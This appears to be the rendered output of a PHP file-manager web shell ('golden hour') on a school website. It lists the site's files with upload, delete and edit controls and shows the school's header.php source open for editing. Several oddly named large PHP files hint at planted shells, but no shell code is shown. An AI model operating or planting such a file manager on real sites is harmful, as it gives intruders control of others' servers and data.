golden hour
/home4/theinves/public_html/seshaasschool.com
⬆️ Go Up
Upload
File/Folder
Size
Actions
.ftpquota
16 B
Del
OK
.htaccess
896 B
Del
OK
.well-known
-
Del
OK
academics.php
12.75 KB
Del
OK
admissions.php
15.67 KB
Del
OK
alumni.php
3.61 KB
Del
OK
assets
-
Del
OK
atal.php
9.1 KB
Del
OK
breadcrumb.php
517 B
Del
OK
campus-information.php
9.55 KB
Del
OK
carousel.php
4.43 KB
Del
OK
comment_section_1735880143.php
3.93 KB
Del
OK
curriculum_pedagogy.php
4.79 KB
Del
OK
dav-partnership.php
5.47 KB
Del
OK
demo.php
2.98 KB
Del
OK
error_log
1016.41 MB
Del
OK
events-view.php
2.76 KB
Del
OK
extracurricular-clubs.php
20.86 KB
Del
OK
faculty.php
6.46 KB
Del
OK
flash-news-view.php
3.26 KB
Del
OK
form.php
1.31 KB
Del
OK
gallery.php
4.96 KB
Del
OK
gallery_list.php
5.33 KB
Del
OK
header.php
16.02 KB
Del
OK
homework.php
5.52 KB
Del
OK
how-to-apply.php
11.11 KB
Del
OK
html
-
Del
OK
index1.php
11.21 KB
Del
OK
mandatory_disclosure.php
11.45 KB
Del
OK
nios.jpg
556.49 KB
Del
OK
nios.php
21.05 KB
Del
OK
registration.php
18.55 KB
Del
OK
robots.txt
75 B
Del
OK
schedule-a-tour.php
6.3 KB
Del
OK
sdg.php
10.73 KB
Del
OK
sports_fitness.php
8.39 KB
Del
OK
student_life.php
13.29 KB
Del
OK
student_welfare.php
3.2 KB
Del
OK
style.php
26 B
Del
OK
t3x.php
195.94 KB
Del
OK
test.php
35.27 KB
Del
OK
transfer-certificate.php
4.51 KB
Del
OK
uniform.jpg
264.77 KB
Del
OK
uploads
-
Del
OK
vision-mission.php
7.22 KB
Del
OK
Edit: header.php
<?php ob_start(); session_start(); $current_page = basename($_SERVER['PHP_SELF']); include "dashboard/config/config.php"; include "includes/current_page.php"; $statement_flash_news = $pdo->prepare("SELECT * FROM `tbl_flash_news` WHERE id!=0 AND status=1 ORDER BY id DESC LIMIT 10"); $statement_flash_news->execute(); $flash_news_results = $statement_flash_news->fetchAll(PDO::FETCH_ASSOC); $flash_news_totalDatas = $statement_flash_news->rowCount(); $extensions = ".php"; // Gallery Parts Starts Here $statement_years = $pdo->prepare("SELECT * FROM tbl_years WHERE status=1 ORDER BY order_id DESC"); $statement_years->execute(); $years_results = $statement_years->fetchAll(PDO::FETCH_ASSOC); $years_totalDatas = $statement_years->rowCount(); // Prefetch all year categories in one query (avoid N+1 in menu) $years_cat_by_year = array(); if ($years_totalDatas > 0) { $statement_all_ycat = $pdo->prepare("SELECT * FROM tbl_year_category WHERE status=1 ORDER BY name ASC"); $statement_all_ycat->execute(); foreach ($statement_all_ycat->fetchAll(PDO::FETCH_ASSOC) as $yc) { $years_cat_by_year[$yc['year_id']][] = $yc; } } // Gallery Parts Endsss Here $site_logo = "icons/homelogoseshaas.png"; // Latest events only needed on homepage — limit to keep page fast $events_results = array(); $events_totalDatas = 0; if ($current_page === 'index.php' || $current_page === 'index1.php') { $statement_events = $pdo->prepare("SELECT * FROM `tbl_events` WHERE id!=0 AND status=1 ORDER BY id DESC LIMIT 5"); $statement_events->execute(); $events_results = $statement_events->fetchAll(PDO::FETCH_ASSOC); $events_totalDatas = $statement_events->rowCount(); } $statement_banner = $pdo->prepare("SELECT * FROM `tbl_banners` WHERE status=1 ORDER BY id DESC LIMIT 10"); $statement_banner->execute(); $banner_results = $statement_banner->fetchAll(PDO::FETCH_ASSOC); $banner_totalDatas = $statement_banner->rowCount(); ?> <!DOCTYPE html> <html lang="zxx"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="assets/css/bootstrap.min.css"> <link rel="stylesheet" href="assets/css/meanmenu.css"> <link rel="stylesheet" href="assets/css/owl.carousel.min.css"> <link rel="stylesheet" href="assets/css/owl.theme.default.min.css"> <link rel="stylesheet" href="assets/css/magnific-popup.min.css"> <link rel="stylesheet" href="assets/css/flaticon.css"> <link rel="stylesheet" href="assets/css/remixicon.css"> <link rel="stylesheet" href="assets/css/odometer.min.css"> <link rel="stylesheet" href="assets/css/aos.css"> <link rel="stylesheet" href="assets/css/style.css"> <link rel="stylesheet" href="assets/css/dark.css"> <link rel="stylesheet" href="assets/css/responsive.css"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free@6.4.2/css/fontawesome.min.css" > <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css"> <link rel="icon" type="image/png" href="icons/logo/fav_logo.png"> <title><?=$page_name?></title> </head> <style> .switch-box { position: fixed; z-index: 1; left: 3%; bottom: 63px; display: none; } .preloader-area { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(255, 255, 255, 10); /* Semi-transparent white background */ display: flex; justify-content: center; align-items: center; } .nav-bg-1 { background-color: #F5F5F5; } .nav-item{ color: green; } @import url('https://fonts.googleapis.com/css2?family=Work+Sans:ital,wght@0,100..900;1,100..900&display=swap'); * { font-family: "Work Sans", sans-serif; font-optical-sizing: auto; font-weight: <weight>; font-style: normal; } h1, h2, h3, h4, h5, h6{ font-family: "Work Sans", sans-serif !important; } .navbar-nav a:hover { color: green !important; } .navbar-nav a { color: black !important; } </style> <body style="overflow-x: hidden !important; "> <div class="preloader-area"> <img src="<?=$site_logo?>" style="text-align:center; width:300px;"> </div> <div class="navbar-area nav-bg-1"> <div class="mobile-responsive-nav"> <div class="container"> <div class="mobile-responsive-menu"> <div class="logo"> <a href="index.php"> <img src="<?=$site_logo?>" class="main-logo" alt="logo"> <img src="<?=$site_logo?>" class="white-logo" alt="logo"> </a> </div> </div> </div> </div> <div class="desktop-nav"> <div class="container-fluid"> <nav class="navbar navbar-expand-md navbar-light"> <a class="navbar-brand" href="index.php"> <img src="<?=$site_logo?>" alt="logo" style="width: 300px;height: 85px;margin-top: -14px;margin-bottom: -7px;"> </a> <div class="collapse navbar-collapse mean-menu navv" id="navbarSupportedContent"> <ul class="navbar-nav ms-auto"> <li class="nav-item" style="margin-top: -3px;"> <a href="index.php" >Home</a> </li> <li class="nav-item"> <a href="about.php" class="nav-link dropdown-toggle">About</a> <ul class="dropdown-menu"> <li class="nav-item"> <a href="vision-mission.php" class="nav-link">Vision & Mission</a> </li> <li class="nav-item"> <a href="history.php" class="nav-link">History & Leadership</a> </li> <li class="nav-item"> <a href="campus-information.php" class="nav-link">Campus</a> </li> <li class="nav-item"> <a href="mandatory_disclosure.php" class="nav-link">CBSE Mandatory Disclosure</a> </li> </ul> </li> <li class="nav-item"> <a href="academics.php" class="nav-link dropdown-toggle">Academics</a> <ul class="dropdown-menu"> <li class="nav-item"> <a href="curriculum_pedagogy.php" class="nav-link">Curriculum & Pedagogy</a> </li> <li class="nav-item"> <a href="homework.php" class="nav-link">Homework & Remedial policy</a> </li> <li class="nav-item"> <a href="dav-partnership.php" class="nav-link">DAV partnership</a> </li> <li class="nav-item"> <a href="nios.php" class="nav-link">NIOS</a> </li> <li class="nav-item"> <a href="faculty.php" class="nav-link">Faculty</a> </li> <li class="nav-item"> <a href="atal.php" class="nav-link">ATAL</a> </li> </ul> </li> <li class="nav-item"> <a href="admissions.php" class="nav-link dropdown-toggle">Admissions</a> <ul class="dropdown-menu"> <li class="nav-item"> <a href="fees_details.php" class="nav-link">Fees Details</a> </li> <li class="nav-item"> <a href="how-to-apply.php" class="nav-link">How to apply</a> </li> <li class="nav-item"> <a href="schedule-a-tour.php" class="nav-link">Schedule a Tour</a> </li> <li class="nav-item"> <a href="https://eazypay.icicibank.com/eazypayLink?P1=uwVwS65hqUROlT4IUjcpQg==" class="nav-link">Pay fees Online</a> </li> <li class="nav-item"> <a href="transfer-certificate.php" class="nav-link">Transfer Certificate</a> </li> </ul> </li> <li class="nav-item"> <a href="student_life.php" class="nav-link dropdown-toggle">Student Life</a> <ul class="dropdown-menu"> <li class="nav-item"> <a href="sports_fitness.php" class="nav-link">Sports & Fitness</a> </li> <li class="nav-item"> <a href="extracurricular-clubs.php" class="nav-link">ExtraCurricular Clubs</a> </li> <li class="nav-item"> <a href="student_welfare.php" class="nav-link">Student Welfare</a> </li> <li class="nav-item"> <a href="sdg.php" class="nav-link">SDG</a> </li> <li class="nav-item"> <a href="parents-testimony.php" class="nav-link">Parents Testimony</a> </li> <li class="nav-item"> <a href="alumni.php" class="nav-link">Alumni</a> </li> </ul> </li> <li class="nav-item"> <a href="#" class="nav-link dropdown-toggle">Gallery</a> <ul class="dropdown-menu"> <?php foreach ($years_results as $years){ $years_cat_results = isset($years_cat_by_year[$years['id']]) ? $years_cat_by_year[$years['id']] : array(); $years_cat_totalDatas = count($years_cat_results); if($years_cat_totalDatas>0){ $cat_style="dropdown-toggle"; }else{ $cat_style=""; } ?> <li class="nav-item"> <a href="#" class="nav-link <?=$cat_style?>"><?=$years['name']?></a> <?php if($years_cat_totalDatas>0){ ?> <ul class="dropdown-menu"> <?php foreach($years_cat_results as $y_cat){ ?> <li class="nav-item"> <a href="gallery_list.php?y_cat=<?=$y_cat['id']?>&year_id=<?=$years['id']?>" class="nav-link"><?=$y_cat['name']?></a> </li> <?php } ?> </ul> <?php } ?> </li> <?php } ?> </ul> </li> </ul> <div class="others-options"> <div class="icon"> <i class="ri-menu-3-fill" data-bs-toggle="modal" data-bs-target="#sidebarModal" style="color: #9a3334;"></i> </div> </div> </div> </nav> </div> </div> <div class="others-option-for-responsive" style="color:#e32845;"> <div class="container"> <div class="dot-menu"> <div class="inner"> <div class="icon"> <i class="ri-menu-3-fill" data-bs-toggle="modal" data-bs-target="#sidebarModal"></i> </div> </div> </div> </div> </div> </div> <div class="sidebarModal modal right fade" id="sidebarModal" tabindex="-1" role="dialog"> <div class="modal-dialog" role="document"> <div class="modal-content"> <button type="button" class="close" data-bs-dismiss="modal"><i class="ri-close-line"></i></button> <div class="modal-body"> <a href="index.php"> <img src="<?=$site_logo?>" class="main-logo" alt="logo" style="width: 146px;"> <img src="<?=$site_logo?>" class="white-logo" alt="logo"> </a> <div class="sidebar-content"> <h3>About Us</h3> <p>It was the first Day of the cute little butterflies in Seshaas. The new PP1 kids came to the school on 22.4.23 and started their voyage in the ocean of knowledge. </p> <div class="sidebar-btn"> <a href="about.php" class="default-btn">About Our School</a> </div> </div> <div class="sidebar-contact-info"> <h3>Contact Information</h3> <ul class="info-list"> <li><i class="ri-phone-fill"></i> <a href="tel:+91 427 2902666 ">+91 427 2902666 </a></li> <li><i class="ri-mail-line"></i><a href="mailto:seshaasschool@gmail.com"><span class="__cf_email__" data-cfemail="seshaasschool@gmail.com">seshaasschool@gmail.com</span></a></li> <li><i class="ri-map-pin-line"></i> <a href="https://maps.app.goo.gl/RCbnCCkmQqTmigfd6" target="_blank" >Yercaud Foot Hills, Kondappanaikanpatti,<br> Salem – 636 008</a></li> </ul> </div> </div> </div> </div> </div>
Save